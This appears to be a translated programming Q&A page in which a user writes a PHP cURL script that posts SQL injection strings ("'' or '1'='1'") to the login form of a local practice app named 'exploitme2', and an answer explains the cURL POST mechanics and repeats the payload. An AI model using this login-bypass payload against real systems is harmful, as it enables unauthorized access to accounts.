使用cURL访问URL,然后提交数据

时间:2012-12-27 03:55:47

标签: php post curl

我想:

  1. 访问$url
  2. 将两个索引的(2)值插入相应的输入字段(用户名,密码),然后提交。
  3. 最终从#2输入和提交中获取响应并输出响应。
  4. 我有以下代码:

      <?php
    # get url to form
    $url = "http://localhost/exploitme2/index.php?page=login.php";
    $ch = curl_init($url); # initialize that form
    
    #run value of $_POST variable in form fields from above url.
    $params = array("'' or '1'='1'", "'' or '1'='1'");
    
    curl_setopt($ch, CURLOPT_POST, 1);  
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    $result = curl_exec($ch);
    
    ## echo the result from cURL 'ing
    echo $result;
    
    curl_close($ch);
    ?>
    

    我收到此错误:

     syntax error, unexpected '=', expecting ')' 
    

    在这一行:

    $params = array($_POST['username']=>'' or '1'='1', 
                    $_POST['password']=>'' or '1'='1');
    

1 个答案:

答案 0 :(得分:1)

在技术方面,这只是一步操作,而不是3.您已经完成了所有这三个步骤。当您将这些值发布到上面的url时,您的结果将根据您的代码存储在$ result变量中,只需要返回/显示它。对于cURL,你不必首先访问网址,然后提交下一个网址,如果你知道字段名称和动作网址,那么你可以像你已经完成的那样在一步完成所有这三件事

尝试使用此变量的回声

$result = curl_exec($ch);
**echo $result;**
curl_close($ch);

好的,让我在这里澄清一些混淆

1)您不必在$ _POST数组中指定变量。您的cURL POST变量可以是任何变量。它们不一定是$ _POST。

2)您必须将数据发布到表单的操作网址,而不是自己的网址(除非两者都相同)

因此,对于1,您的代码应该像

$params = array("'' or '1'='1'", "'' or '1'='1'");